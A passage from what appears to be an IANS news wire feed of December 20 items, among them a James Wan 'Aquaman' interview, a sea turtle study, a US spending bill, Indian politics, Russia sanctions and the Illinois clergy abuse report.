stereotyped, and doesn't need any label to define his craft. "I hate being labelled. I hate being stereotyped into whatever pigeonhole people like to put me into," Wan told IANS in an exclusive interview here. "So every time people start to (do that), I start moving on. When they labelled me with too much of this work, I went to something else. I keep doing it because, at the end of the day, I just see myself as a filmmaker. I don't think there needs to be another label in front of the 'filmmaker' label," added Wan while promoting his latest film "Aquaman" here. He decided to expand his horizon when he got the tag of "horror movie maestro" after "Saw", "Insidious", "The Conjuring" and "Death Sentence". The Malaysia-born filmmaker took a break from the paranormal realm for the bigger world of "Furious 7" -- part of the "Fast and Furious" franchise. "I can grow as a filmmaker by trying new things, finding stuff that challenges me and kind of continue expanding my horizons," said Wan, who grew up in Australia. At present, Wan is getting plaudits for adding his touch to the fantastical story of Warner Bros project "Aquaman", which released in India on December 14. Taking a character from the DC Extended Universe, "Aquaman" traces the origins of how half-human, half-Atlantean Arthur Curry (Jason Momoa) embraces his identity as the superhero. Along with a heart-warming tale of family and love, the film also focuses on a relevant message -- marine pollution. Looking back at the process of making the film, he said: "There is always some kind of pressure when you are making big films... Films of this level, size and scope... But it was a really smooth process." "Aquaman" might be a tale of a superhero finding his roots and identity, but it is also rooted in reality as Wan brings attention to the growing pollution in the ocean. "It was something which was important for me from early on because I felt he was, for the first time, a superhero that can actually talk about the environment and the environment is such a big real life issue," the director said while explaining how he entwined the message into the story. "It is only getting worse, as we see climate change affecting all of us. So it just naturally and organically became a part of the story." But the cool thing, as Wan put, was that he got to portray it from the point of view of the villain King Orm, essayed by Patrick Wilson. "You kind of understand why King Orm is angry at us for what we do at the surface and I think it gives it more texture." How will the story go forward? "I don't know. That is a question for the audience." (Sugandha Rawal was in Manila on the invitation of Warner Bros. Pictures. She can be contacted at sugandha.r@ians.in) Madrid, Dec 20 : Global warming is threatening "feminization" of green sea turtle, a study has said suggesting that by 2100 up to 93 per cent of the hatchlings of this species could be females. The sex of turtle hatchlings is determined by temperature and, currently, approximately 52 per cent of green sea turtles (one of the seven species of marine turtles) are females, according to a study published in the Global Change Biology journal on Wednesday. The study by the British University of Exeter and the Portuguese Marine and Environmental Sciences Centre indicated that with the scenario of warmer temperatures predicted by the Intergovernmental Panel on Climate Change (IPCC), between 76 and 93 per cent of the offspring of those sea turtles would be females. The data refers specifically to the Bijagos archipelago in Guinea-Bissau in Africa, one of the most important nesting area. However, researchers expect "a similar picture globally", according to a statement from the University of Exeter, Efe news reported. The change in the proportion of gender would initially lead to a larger number of females nesting, increasing the population, before a decrease "as incubation temperatures approach lethal levels". In addition, on the beaches where the study was conducted, experts predict that rising sea levels will submerge from 33 to 43 per cent of the areas where the green turtles nest. One of the authors of the study, Rita Patricio, of the University of Exeter, warned that the green turtles "will have to face problems in the future due to the loss of habitat and increase in temperatures". However, cooler temperatures, both at the end of the nesting season and in some shaded areas, will ensure that some hatchlings are male, she added. Washington, Dec 20 : The US Senate has approved a short-term spending bill to avoid a partial government shutdown during the holidays, but it does not include funds demanded by US President Donald Trump to build the wall along the Mexico border. The bill, pushed by the Republicans and supported by the Democrats, includes funds to finance the administration for seven weeks from Friday midnight -- when the current ones expire -- till February 8. The House of Representatives is expected to approve the bill on Thursday so that Trump can sign it, Efe news reported. Trump has not yet stated whether he supports the spending bill as it does not include $5 billion he had demanded for the border wall with Mexico. In fact, at a meeting last week with Democrat leaders in the Congress, Trump said he would be proud to force a government shutdown if the wall were to be financed. With the approval of the budget, negotiation on funding for the wall would be postponed to 2019 when the Democrats will take control of the House of Representatives and can thereby block it easily. Earlier this year, Trump faced two government shutdowns for lack of funds: The first was in January which lasted for three days while the second in February went on for only a few hours. New Delhi, Dec 20 : Even as the debate heats up on whether we need a "backup" planet, as advocated by tech billionaire and SpaceX CEO Elon Musk, the resolve to take humans to Mars got stronger in 2018. Musk told the media in November that there is "70 per cent chance that he will go to Mars", despite a "good chance" of him not surviving either on the way or after landing. It is only very likely that only a few people might be willing to join Musk in this journey - either because of the risk or the cost involved. But his "Starship" (formerly known as the BFR), a fully reusable vehicle designed to take humans and supplies to Mars and also to dramatically cut travel time within Earth, got its first reservation from a private passenger this year -- Japanese billionaire Yusaku Maezawa -- who is scheduled to start a journey to the Moon in 2023. This year, the US space agency NASA also firmed up its plans to return humans to the Moon and use its lunar experience to prepare to send astronauts to Mars in the 2030s. In February, NASA hosted a conference for scientists to discuss future exploration and research using the Gateway spacecraft that will orbit the Moon and support human and robotic missions. In the following months, the space agency announced several measures to take the mission forward. "We created new US commercial partnerships to land back on the Moon. We made breakthroughs in our quest to send humans farther into space than ever before," NASA Administrator Jim Bridenstine said in a statement. Boosting such ambition this year was a demonstration of a new nuclear reactor power system that could provide surface power on the Moon and Mars. What excited the scientists even more was the discovery of a large saltwater lake under the ice near the South Pole on the Red Planet - raising the possibility of life being there on Mars in some form. The discovery by a team of Italian researchers was made using an instrument on the European Space Agency's Mars Express spacecraft. While a manned-mission to Mars is still at least a decade away, NASA successfully launched this year a probe to "touch the Sun". The mission broke records for fastest human-made object and closest approach to the Sun, and sent home its first light images - including a picture of Earth - in late October, NASA said, adding that the probe's first flight through the Sun's outer atmosphere was on November 7. In 2018, NASA's first asteroid sample return mission reached its destination after a two-year journey. The Origins, Spectral Interpretation, Resource Identification, Security-Regolith Explorer (OSIRIS-REx) spacecraft arrived at asteroid Bennu on December 3. Analysis of initial data from the mission revealed water locked inside the clay that makes up Bennu. This year also marked only the second time in history that a human-made object reached the space between the stars as NASA's Voyager 2 probe exited the heliosphere -- the protective bubble of particles and magnetic fields created by the Sun. The year also bid farewell to two veteran scientific spacecraft - one of them NASA's Kepler space telescope that ran out of fuel after nine years of searching for planets outside our solar system. NASA, however, now has a probe to take forward Kepler's job. The Transiting Exoplanet Survey Satellite (TESS), launched in April, is continuing the search for planets outside our solar system. NASA said its Dawn mission, which was launched in 2007, also ran out of fuel this year, but not before becoming the first spacecraft to orbit two separate bodies in the solar system - the asteroid Vesta and dwarf planet Ceres. The year also brought relief to space enthusiasts as Russian Cosmonaut Alexey Ovchinin and US astronaut Nick Hague escaped unhurt after their Soyuz spacecraft heading to the International Space Station (ISS) had to make an emergency landing due to a booster failure. And even as the US remains at the forefront of space exploration, the world has learned to train its eyes on China, which is reportedly developing a new-generation manned rocket and spacecraft for its lunar explorations. (Gokul Bhagabati can be contacted at gokul.b@ians) Jaipur, Dec 20 : "Kaun Banega Mukhyamantri" was being widely asked after the Rajasthan assembly elections were announced last week given the close fight between Ashok Gehlot, a two-time Chief Minister and Sachin Pilot, the state Congress president and former union minister. It's a question that's been around since 1952, when the party marked its first victory in the assembly elections. In all these years, there's been just one exception. In 1952, during the elections, the Congress seemed divided into two - one led by Jainarayan Vyas and the other by Tikaram Paliwal. However, Vyas lost the election by two votes and Paliwal got the nod. However, Vyas won a by-poll from Kishangarh within a year and was made the Chief Minister. Upset at this, Paliwal briefly resigned from the Cabinet for a short period but then returned as the Deputy Chief Minister. The protests against Vyas continued and this culminated in internal elections - itself a rarity in the Congress - being conducted in 1954. Vyas lost by a mere eight votes and another Congress leader, Mohanlal Sukhadia, was named the Chief Minister. He was just 38 years old and went on to intermittently rule the state for 17 years. Sukhadia led the Congress to comfortable victories in 1957, 1962 and 1967. However, after the 1967 elections, there was dissidence in the Congress about Sukhadia again becoming the Chief Minister - with no rival as such in the fray. The uncertainty led to a brief spell of president's rule from March 13 to April 26. Finally, Sukhadia was back in the saddle on April 26, 1967 and continued till July 9, 1971. In between, tensions had developed with then Prime Minister Indira Gandhi, who had backed central minister V.V. Giri in the 1969 presidential elections while Sukhadia threw his weight behind Neelam Sanjeeva Raddy, who was propped up by a rival faction of the Congress. Giri won but Gandhi was not one to forget. Thus, after the 1971 elections, Sukhadia faced a tough contest from Barkatullah Khan, who was considered close to Gandhi's late husband Feroz Gandhi, and had her backing. Then, after Khan's sudden demise in 1973, between Congress leaders Harideo Joshi and Ram Niwas Mirdha. Joshi emerged the winner in a fully charged-up environment. After being out of power for a while, the Congress stormed back in 1998 and was again witness to a close fight between two Congress leaders - Parasram Maderana and Ashok Gehlot. While Maderana, who was a Jat leader happened was Leader of Opposition in the outgoing assembly, Gehlot was the state Congress president, who enjoyed the trust of the Congress High Command. Gehlot got the nod to be Chief Minister, leaving the Jat community fuming. Eventually, the party had to pay a big price as it lost the next elections. In the run-up to the 2008 elections, it was a close tussle between Congress veteran C.P. Joshi and Gehlot. Joshi, being state Congress president, was a strong contender for the post but lost theelections by one vote. Gehlot got the nod and again became the Chief Minister. With no let-up in the tradition, history was repeated in 2018 with Pilot and Gehlot pitched against each other. The issue was resolved on Monday with Gehlot and Pilot being sworn-in as Chief Minister and Deputy Chief Minister at the same ceremony - the first time this has happened. On the flip side, this makes it clear that the history of face-offs between senior leaders will continue in the near future with power being divided in two parts. Pilot is Rajasthan's fifth Deputy Chief Minister. The others have been Tikaram Paliwal, Harishankar Bhabhra under Chief Minister Bhairon Singh Shekhawat (from 1993-98), Banwari Lal Bairwa and Kamla Beniwal during Gehlot's 1998-2003 tenure. (Archana Sharma can be contacted at archana.s@ians.in) Srinagar, Dec 20 : National Conference activists took out a protest march in this summer capital of Jammu and Kashmir on Thursday against the killing of civilians by security forces in Pulwama. The activists, led by General Secretary Ali Muhammad Sagar, marched from the party headquarters. When they reached near the Sher-e-Kashmir Park on Residency Road, police stopped them. They were not allowed to go beyond the spot. Later, the protesters dispersed peacefully. Seven civilians were killed by security forces in Pulwama on December 15, triggering widespread anger in the Kashmir Valley in particular. New Delhi, Dec 20 : Calling the Goods and Services Tax (GST) "Gabbar Singh Tax" again, Congress President Rahul Gandhi on Thursday said his party has "jolted" Prime Minister Narendra Modi over the issue and Modi now wants to implement what the Congress had suggested earlier. "The Congress has finally jolted Narendraji from his deep slumber on Gabbar Singh Tax. Though still drowsy, he now wants to implement what he had earlier called the Congress Party's 'Grand Stupid Thought'. Better late then never Narendraji!," Gandhi tweeted. His remarks came two days after Modi said at an event in Mumbai that the government was aiming to bring 99 per cent of items at or below 18 per cent GST slab. Washington, Dec 20 : The Donald Trump administration has imposed a new set of sanctions on Russian entities and individuals including two men who allegedly carried out an assassination attempt on former spy Sergei Skripal and his daughter Yulia in the UK last year. The Wednesday's sanctions were in response to "Russia's continued disregard for international norms", said the US Department of Treasury in a statement on Wednesday. The measures were announced against entities tied to "Project Lakhta", which the Treasury Department said was part of an effort tied to the infamous Internet Research Agency and a slew of current and former members of Russia's intelligence service, the GRU, for trying to influence the 2016 US presidential election. The announcement also named GRU and Russian military intelligence officers who were accused of targeting the World Anti-Doping Agency, the Organization for the Prohibition of Chemical Weapons and other international organizations "using cyber hacking techniques", CNN reported. Russian men Alexander Petrov and Ruslan Boshirov were hit with sanctions for carrying out the nerve agent attack on the Skripals. They previously told the Russian network RT that they were in Salisbury around the time of the attack, but as tourists, not assassins. The new sanctions came the same day the Treasury Department announced it was lifting sanctions on certain Russian firms, including aluminium giant Rusal and EN+ Group, the company that holds Russian oligarch Oleg Deripaska's stake in the Russian aluminium company. Both announcements mentioned Deripaska and said he would remain on the US sanctions list. The announcement of new measures also included a designation against Victor Alekseyevich Boyarkin, whom the Treasury called "a former GRU officer who reports directly to Deripaska". Washington, Dec 20 : The six Catholic dioceses of US' Illinois state hid the names of at least 500 priests accused of sexual abuse, the state's Attorney General has announced. Illinois Attorney General Lisa Madigan said in a report on Wednesday that the Catholic Church received allegations against 690 parish priests, of whom only 185 were credibly accused and their names released. In many cases, the accusations had "not been adequately investigated by the dioceses or not investigated at all", Madigan's office said. The church often failed to notify law enforcement authorities or state Department of Children and Family Services about the allegations, CNN reported. Almost 75 per cent of the accusations were considered not credible as there was only one victim who had complained or the cases remained uninvestigated because the priest in question had relocated, died or belonged to other orders such as Jesuit, Marist or Franciscan. "Clergy sexual abuse of minors in Illinois is significantly more extensive than the Illinois Dioceses previously reported," Madigan said in the report. "... The Catholic Church has failed in its moral obligation to provide survivors, parishioners and the public a complete and accurate accounting of all sexually inappropriate behaviour involving priests in Illinois." The failure to investigate also meant that the church never made an effort to determine whether the conduct of the accused priests was ignored or covered up by superiors, Madigan said. Madigan began her investigation in August, after a Pennsylvania grand jury released a 900-page report detailing horrific abuses by 300 Catholic clergy against over 1,000 victims. Since then, 36 dioceses publicized self-reported lists of clergy "credibly accused" of abusing minors. There are 197 dioceses in the US. The allegations also struck with particular virulence the archdioceses of Boston and New York, whose cardinal, Timothy Dolan, had to testify in 2013 in a sexual abuse investigation involving priests. In 2007, the American Catholic Church paid a compensation of $660 million, following an out-of-court settlement, to more than 500 victims. Bhubaneswar, Dec 20 : Odisha government's Single Window for Investor Facilitation and Tracking (GO-SWIFT) has received 500 investment proposals so far, said an official on Thursday. Launched in November 2017, the portal has received the 500th investment proposal from a Gurugram-based manufacturer of sanitaryware products. The company has proposed to invest Rs 350 crore to set up a manufacturing unit for glass containers with a capacity of 1,30,000 tonnes per annum at Cuttack. The project will create direct and indirect employment opportunities for over 1,200 people, the official said. The state-level facilitation cell has recommended the proposal to State Level Single Window Clearance Authority (SLSWCA) for approval. "It is encouraging to note that within a short span of one year, GO-SWIFT has received the 500th investment proposal. Due to significant ease of application and expeditious approval process, there has been a considerable increase in the number of investors wanting to set up their units in Odisha," said Industries Secretary Sanjeev Chopra. "The Make in Odisha Conclave 2018 has given further impetus to the flow of investment proposals. We will continue to raise the bar for ease of doing business and are focused on speedy implementation of projects on ground," he added. Some of the leading companies whose proposals were received and approved by SLSWCA include Manpasand Beverages, ITC Foods, Apar Industries Limited, Sri Malani Foams (a company from the house of Century brand of mattresses), Vedanta, JSW Cement, Gokul Agro and Jindal Aluminum among others. GO-SWIFT provides all of the information and clearances that investors tend to require in a time-bound, hassle-free, paperless and transparent manner. Entirely online, the launch of GO-SWIFT has improved the efficiency of the approval process for both new and existing industries across 32 services from 15 state government departments. New Delhi, Dec 20 : Microsoft on Thursday announced a three-year "Intelligent Cloud Hub" collaborative programme in India to empower institutes to skill students in Artificial Intelligence (AI) and Cloud technologies. The dedicated AI infrastructure and Internet of Things (IOT) hub programme will equip selected research and higher education institutions with AI infrastructure, build curriculum and faculty capability to skill students in AI and cloud technologies, the company said in a statement. India is the first country to have such a programme under which Microsoft will support selected institutions with best-in-class infrastructure, onsite training for faculty and students, curriculum and content, access for participating students to cloud and AI services, developmental tools and developer support "Jobs of tomorrow will require a very different set of skills, and collaborating, training and working with AI will be as important as collaborating with people," said Manish Prakash, Country General Manager-PS, Health and Education, Microsoft India. "The Microsoft 'Intelligent Cloud Hub' programme aims to catalyse this with technology insights, cognitive skills, and a practical, in-depth understanding of developing intelligent connected solutions for application across industry and citizenship scenarios," Prakash informed. Microsoft will also offer a wide range of AI developmental tools and Azure AI Services such as Microsoft Cognitive Services, Azure Machine Learning and Bot Services. Training will include development workshops to help both the faculty and students build their skills and expertise in cloud computing, data sciences, AI and IoT. "Our vision is to make participating universities and institutions 'Intelligent Cloud Hubs' in their own right at the end of the first three years," Prakash added. Microsoft would also assist faculty in strategising content and curricula for project-based and experiential learning. For research-focused institutions, Microsoft will provide AI-based recommendations for potential areas of research. In April this year, the company announced the Microsoft Professional Programme (MPP) for the public. The programme provides job-ready skills and real-world experience to engineers and others who are looking to improve their skills in AI and data science through a series of online courses. New Delhi, Dec 20 : Jackie Chan's 2012 action movie "CZ12" will open the India-China Film Festival here. In order to strengthen and deepen cultural understanding between the two countries, the film festival is being organised during the first India-China High Level Mechanism on Cultural and People-to-People Exchanges. The three-day festival, organised by the Directorate of Film Festivals, Ministry of Information & Broadcasting, will start from Saturday at Siri Fort Auditorium, read an official release. A total of seven films including four Chinese and three Indian films -- Aamir Khan's "Dangal", which got great response in China, Bengali film "Maacher Jhol" and Priyanka Chopra's maiden Marathi production "Ventilator" -- will be screened during the festival. New Delhi, Dec 20 : Congress leader Sajjan Kumar, who was given life imprisonment in an anti-Sikh riots case, on Thursday filed an application in the Delhi High Court seeking more time to surrender so that he can settle some family matters. Claiming his innocence, Sajjan Kumar, 73, requested the court to grant him 30 more days to surrender so that he can settle certain property matter and meet his close relatives. Kumar said in his plea that he has a big family that includes besides his wife, three children and eight grandchildren. The Delhi High Court on Monday convicted Kumar in an anti-Sikh riot case of 1984 and sentenced him to imprisonment for the remainder of his natural life. The court asked him to surrender till December 31. Sajjan Kumar said he was shocked and surprised by the judgement as trial court had acquitted him in the case. Kumar told the High Court that he would appeal in the Supreme Court challenging High Court's order and therefore he needs time to engage senior lawyers. He told the court that most senior counsels were on holiday as the apex court is closed due to winter vacation. Kumar also informed the court that he was out on bail in the 1984 cases and never flouted any bail conditions or hampered investigation and has cooperated with the probe agencies. Chandigarh, Dec 20 : At least two school children were killed on Thursday when a truck collided with their school bus in Haryana's Karnal district, nearly 150 km from here, police said. Nearly 10 others, including the bus driver and other students, were injured. They were rushed to nearby hospitals for treatment. The accident took place near Jansaro village on the Karnal-Indri highway. There was fog in the area when the accident took place. Following the accident, an angry mob of villagers who had gathered at the spot, damaged the truck and set it on fire. Police reinforcements had to be rushed to the area to control the situation. New Delhi, Dec 20 : Assam Finance Minister Himanta Biswa Sarma on Thursday hit back at Congress President Rahul Gandhi for his comments on farm loan waivers and underlined that the Assam scheme has "nothing to do with Congress policy of debt waiver". He stressed that the Assam government announced the scheme to commemorate 125 years of agrarian uprising (of Patharughat) and not to copy the Congress governments in Madhya Pradesh and Chhattisgarh, as being claimed by Rahul Gandhi. "We have come up with a different model. As of now, the industry gets working subsidy but farmers don't get such subsidy. Now we have decided that our farmers will get a permanent subsidy of 25 per cent on the loan they get from the bank. It is not debt waiver," Sarma said. "This will be a permanent continuous scheme unlike loan waivers announced during poll times. We want to keep them (farmers) in the banking system. In case of loan waivers, the bank may deny them loan the next time," he added. Sarma said that the second scheme is that of interest subvention on farm loans. "The Central government gives 4 per cent interest subsidy. We have decided the state government would give subsidy of another 4 per cent. So in this way, the farmers would have an interest-free loans with a capital subsidy of 25 per cent," he said. Hitting out at Rahul Gandhi, Sarma said: "What does Rahul Gandhi know of this agrarian uprising in Assam that happened in 1894? It is an emotional, sentimental and cultural issue for the Assamese people." On Wednesday, Rahul Gandhi had tweeted: "The Congress party has managed to wake the Chief Ministers of Assam and Gujarat from their deep slumber. Prime Minister is still asleep. We will wake him up, too." His tweet came after the BJP governments in Assam and Gujarat announced waiver of farm loans and rural electricity bills, respectively. New Delhi, Dec 20 : Finding fault with the Supreme Court ruling on the Rafale deal, the CPI-M has said that "accepting notes in sealed covers, acceptance of government's arguments at face value, puts the court's reputation at risk". This is why the Supreme Court judgement by a three-member bench on the Rafale jet deal with France has become controversial "even before the ink on the judgement has dried", an editorial in the CPI-M journal "People's Democracy" has said. It said the scope of judicial review was whether the defence procedures laid down were violated in the Rafale deal and whether the people have a right to know the price of defence deals. "On both counts, the court has effectively said that it is not their task to do such a review, and accepted it as government's prerogative to keep the price of Rafale aircraft secret," the Communist Party of India-Marxist (CPI-M) said. "The subsequent developments - regarding what was in the sealed cover, in particular the statement in the judgement regarding the price having been examined by the CAG, its report submitted to the PAC and a redacted version placed in Parliament - have provoked justifiable criticism," it said. The editorial said: "The controversy over what was submitted in sealed cover and 'misunderstood' by the court raises another issue. What else was in the sealed cover? And how much of it has led to the court making up its mind not to interfere? "If the sealed cover was only about price, how is it that statements regarding CAG, were made in the sealed cover and not in the note submitted to the court and shared with the petitioners? If it had nothing to do with the actual price, why was this part of the argument in a secret note?" It said the substantive issues before the court were: the Modi government violated procedure by cancelling the open tender to procure 126 Rafale aircraft, and instead got only 36 aircraft through an inter government procurement route; and the Modi-Hollande announcement was made without following the procedure required for an Inter-Government Agreement for procuring defence equipment. The editorial flayed the choice of a newly formed Indian private defence company as the offset partner, which it called an act of crony capitalism, at the cost of the Hindustan Aeronautics Ltd (HAL). "In the government, a violation of procedures that benefits either a company or a person, and causes a loss to the exchequer, constitutes corruption," it said. "This is what the 2G scam under the UPA was all about; and the same goes for the coal-gate scam. That is why it was important for the Supreme Court to examine the procedural violations by the Modi government in the case of the Rafale deal, while examining how the price of the Rafale aircraft was arrived at. "The court judgement seems to have accepted the government's contentions at face value, even copy-pasting large parts of government's submissions in its judgement. Hence the disappointment with the judgement." Beijing, Dec 20 : China and the US will hold fresh trade negotiations in January, with both parties having already exchanged points of view, officials said on Thursday. The two superpowers have been involved in a trade war in recent months, although both sides agreed to a 90-day truce to seek to a resolution to the dispute. Addressing a press conference in Beijing on Thursday, Chinese Foreign Ministry spokesperson Gao Feng said the two countries would organize consultations and meetings to promote the implementation of the consensus reached between Chinese President Xi Jinping and his US counterpart Donald Trump. The spokesperson did not provide details about who would take part in the talks or where they would be held, Efe news reported. "The potential for trade cooperation between the two countries was huge and the nature of win-win cooperation would not change," Gao said, according to state-owned newspaper the China Daily. Xi and Trump agreed on the 90-day suspension of the trade dispute on December 1 during a working dinner held on the sidelines of the G20 summit in Buenos Aires, Argentina. Since then, China has adopted several goodwill measures, including a tariff reduction on imported US vehicles and the resumption of American soy bean purchases. Trump, on his part, halted a proposal that would have raised tariffs on over $200 billion of Chinese goods from 10 to 25 per cent. Manila, Dec 20 : The Philippines on Thursday ruled out a traditional Christmas ceasefire with rebels of the left-wing New People's Army (NPA) after the insurgents kidnapped two soldiers and 12 members of a paramilitary force, officials said. The Philippines Army personnel were abducted by the NPA on Wednesday at dawn in Agusan del Sur on the Mindanao island. Defence Secretary Delfin Lorenzana said the government would not be "fooled" by the rebels' offer of a ceasefire during the Christmas and New Year holidays, Efe news reported, citing state news agency PNA. The Philippine Army also condemned the rebels for a landmine attack in the Northern Samar province on Tuesday, which wounded four soldiers and two civilians. "This incident shows that communist NPA terrorists are not sincere of their offered unilateral truce this Christmas season because their plan is in contrast with what is happening," the military said. The NPA defended the attacks in-spite of the unilateral ceasefire, which it announced on December 7, six months after the last peace negotiations with the government broke down. "The recent NPA offensives do not violate the CPP's unilateral declaration of temporary ceasefire which shall take effect on December 24 to 26 and December 31 to January 1 next year," the Communist Party of the Philippines (CPP), the political wing of the NPA, said in a statement on Thursday. "The Party calls on the NPA to mount more tactical offensives in the next few weeks and months to defeat (President Rodrigo) Duterte's all-out war," the statement added. The NPA was established in 1969 to support the CPP and has since engaged in an armed struggle that has led to more than 40,000 deaths. With more than 6,000 regular fighters, the rebel group is listed as a terrorist organization by the US and the EU. Dharamsala, Dec 20 : Central Tibetan Administration (CTA) President Lobsang Sangay on Thursday hailed US President Donald Trump's decision to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to Tibet. Trump on December 19 signed into law the Reciprocal Access to Tibet Act of 2018 that will impose the visa ban. "The Reciprocal Access to Tibet Law will not only make the perpetrators of human rights violations accountable but also bolster institutional and diplomatic engagement on Tibet," Sangay said in a statement. "Again I thank the US Congress for passing the landmark bill and International Campaign of Tibet and everyone who contributed to making this a reality," Sangay said. "This is a very courageous step and sends the right message of hope and justice to Tibetans in Tibet," he said. "On behalf of six million Tibetans, I extend profound appreciation to the President for signing the bill into law," the CTA President added. The new law will require the Department of State to report to the Congress annually regarding the level of access Chinese authorities granted US diplomats, journalists, and tourists to Tibetan areas in China. According to Human Rights Watch's 2018 Annual Report, the Chinese government continues to "severely restrict religious freedom, speech, movement, and assembly, and fail to redress popular concerns about mining and land grabs by local officials." Since 2014, the International Campaign for Tibet (ICT) in coordination with Tibetan-American associations and Tibet support groups had led the effort to approve the Reciprocal Access to Tibet Act. The Dalai Lama has lived in India since fleeing his homeland in 1959. The Tibetan exile administration is based in this northern Indian hill town. Chandigarh, Dec 20 : The Punjab government on Thursday signed a Memorandum of Understanding with the Airports Authority of India (AAI) for setting up a new Civil International Air Terminal at Indian Air Force station at Halwara, near Ludhiana. The MoU was signed by Punjab's Secretary Civil Aviation Tejveer Singh on behalf of the state government and Executive Director G.D. Gupta, on behalf of AAI. Giving details of the MoU, an official spokesperson said the project would be implemented through a Joint Venture Company (JVC) formed with the majority stake of 51 per cent of the AAI and 49 per cent stake of the Punjab government through the Greater Ludhiana Development Authority (GLADA). The AAI would bear all capital expenditure of development of new airport while the Punjab government would provide 135.54 acres of land free of cost and free of all encumbrances for the project. The JVC will bear all expenditure on operation, management and maintenance including repairs, he added. It is expected that Phase I of the project, which is the development of new international civil enclave in 135.54 acres for full-fledged operations up to Code-4C type of aircraft, shall be completed within three years. The international airport at Ludhiana would not only be a commercially viable project and facilitate better air connectivity for passengers of Punjab but will also have a spin-off economic benefit for the industries in the state, the spokesperson added. At present, Punjab has two international airports at Chandigarh and Amritsar. Guwahati, Dec 20 : A day after Congress President Rahul Gandhi claimed in Twitter that the Congress has awakened Chief Ministers of Assam and Gujarat from their deep slumber, Assam Chief Minister Sarbananda Sonowal and Finance Minister Himanta Biswa Sarma countered the Congress chief on the social networking platform. Chief Minister Sonowal has accused Gandhi of trying to take credits for issues related to livelihood and development of farmers of Assam. "Mr Gandhi, this attempt to take credit on an issue that is related to the livelihood & development of farmers is quite frivolous. You have no moral right to talk about Assam or its farmers. Everyone knows how your successive Govts in Assam looted the resources meant for farmers," Sonowal tweeted. "As you seem to be interested in claiming credit for some of Assam Govt's decisions, I request you to take credit for all misdeeds, corruption and loot that had perpetuated all these decades under Congress rule, thus depriving the people of Assam in general & farmers in particular," Sonowal wrote in Twitter. In his tweet, Gandhi had earlier stated: "The Congress party has managed to wake up the CMs of Assam & Gujarat from their deep slumber. PM is still asleep. We will wake him up too." The Assam government on Wednesday announced Rs 1,000-crore schemes to boost the farm sector in terms of waiving loans to the tune of 25 per cent and announcing incentives to help the distressed farmers. Assam Finance Minister HImanta Biswa Sarma said the Congress President has failed to respect sentiments by linking it to petty politics. "Rahul Ji, Assam Govt. has not announced any debt waiver scheme. We are offering 25% subsidy on short term agricultural loan along with full interests subvention. These schemes will continue unlike a one-time loan waiver. Completely opposite to your idea," said a tweet of Sarma. "And we are announcing these schemes to commemorate 125 years of the agrarian uprising against the British in Pathorughat in 1894 (I announced these in my budget 10 months ago). You have failed to respect our sentiments by linking it to petty politics," Sarma said in another tweet. New Delhi, Dec 20 : India and Russia have reiterated their support for an Afghan-led, Afghan-owned peace process in Afghanistan during the visit of Russian President Vladimir Putin's special envoy on Afghanistan Zamil Kabulov to India, a senior official said on Thursday. At a media briefing here, External Affairs Ministry spokesperson Raveesh Kumar said that during the course of Kabulov's visit, delegation-level talks were held in which the Indian side was led by Deepak Mittal, Joint Secretary (Pakistan, Afghanistan, Iran) in the External Affairs Ministry. Following the talks, Kabulov also held a meeting with Foreign Secretary Vijay Gokhale. "Both sides reiterated their support for an Afghan-led and Afghan-owned inclusive peace and reconciliation process," Kumar said. "The Russian side, on their part, briefed on the efforts to support the Afghan peace process through the Moscow Format of talks," he said. The Moscow Format was introduced in 2017 on the basis of the six-party mechanism for consultations between special representatives from Russia, India, Afghanistan, China, Pakistan and Iran. Kumar said both sides also agreed to maintain regular consultation and coordination, including in the context of international forums with the shared objective to promote peace, security, stability and unity of Afghanistan. Washington, Dec 20 : US Senator Jeff Merkley has introduced a Senate bill aiming to stop the Department of Agriculture (USDA) researchers from euthanising kittens used in their work. Merkley introduced on Wednesday a Senate version of the KITTEN Act -- officially, the "Kittens in Traumatic Testing Ends Now Act of 2018". "The USDA breeds up to 100 kittens a year, feeds them parasite-infected meat in order to have the parasite's eggs harvested for use in other experiments," the Oregon Democrat was quoted as saying by CNN. The kittens are used in research into toxoplasmosis -- a parasitic illness, which can be serious for unborn children and people with compromised immune systems. They are killed after the research, but Merkley said they should be adopted instead. He said veterinarians had told him the kittens, which are euthanised before they are three months old, could be treated for the parasite and emerge "very healthy". USDA's Agricultural Research Service, which runs the testing, did not comment on Merkley's move. A USDA spokesman had earlier told CNN that the use of cats was "essential" to the research to combat a widespread parasite and that the agency "makes every effort to minimize the number of cats used," calling the 100 figure a "serious over-estimation". The Agriculture Department said the cats weren't put up for adoption because of the potential risks to adoptive families. The KITTEN Act's House of Representatives version was introduced by Republican Rep. Mike Bishop, and now has 61 co-sponsors, including both Republicans and Democrats. Bishop lost his re-election bid last month. Merkley said he hopes to make the effort bipartisan in the Senate, too, when members return in the new year and that he may discuss the issue with Agriculture Secretary Sonny Perdue. Srinagar, Dec 20 : A Lashkar-e-Taiba (LeT) militant was arrested on Thursday in a joint operation by Srinagar and Ganderbal district police in Jammu and Kashmir. A police statement said Zubair Ahmad Bhat of Qazigund area in Anantnag district was held with a grenade. He was on a two-wheeler which too has been seized. New Delhi, Dec 20 : India on Thursday described Pakistan Prime Minister Imran Khan's remarks on civilians' deaths during violence in Jammu and Kashmir last week as expressions of "insincerity and duplicity." "The statements coming out from their side demonstrate their insincerity and duplicity," said External Affairs Ministry spokesperson Raveesh Kumar. Following the death of seven civilians during clashes with security forces in Jammu and Kashmir's Pulwama district on Saturday, Khan tweeted the next day: "Strongly condemn killing of innocent Kashmiri civilians in Pulwama IOK by Indian security forces. Only dialogue & not violence & killings will resolve this conflict. We will raise issue of India's human rights violations in IOK & demand UNSC fulfil its J&K plebiscite commitment." In his briefing, Kumar reiterated India's demand that Pakistan stop allowing its territory to be used by terror groups and terrorists and exporting terrorism to other countries. "No action is being taken on that," he said. "On the other hand, they have sometimes the gumption to comment on the internal affairs of a neighbouring country. I think it will be better if their mind their own business and look at their internal affairs which are in a mess," the spokesman said. Jakarta, Dec 20 : A ship equipped with sophisticated technology resumed search for the cockpit voice recorder and the remains of victims who were aboard a Lion Air plane that crashed last month in Indonesia, officials said here on Thursday. At least 189 people, including the flight's Indian captain, Bhavye Suneja, were killed when the 737 Max 8 aircraft crashed into the Java Sea after taking off from Jakarta on October 29. Divers had earlier retrieved the flight data recorder of the plane from the sea floor of Tanjung Karawang water off West Java province. The recovery of the missing cockpit voice recorder is essential for determining what caused the crash, said investigators from Indonesia's National Transportation Safety Committee. An MPV Everest ship operated by a Dutch firm, hired by Lion Air, kicked off the search on Thursday morning, said Haryo Satmiko, 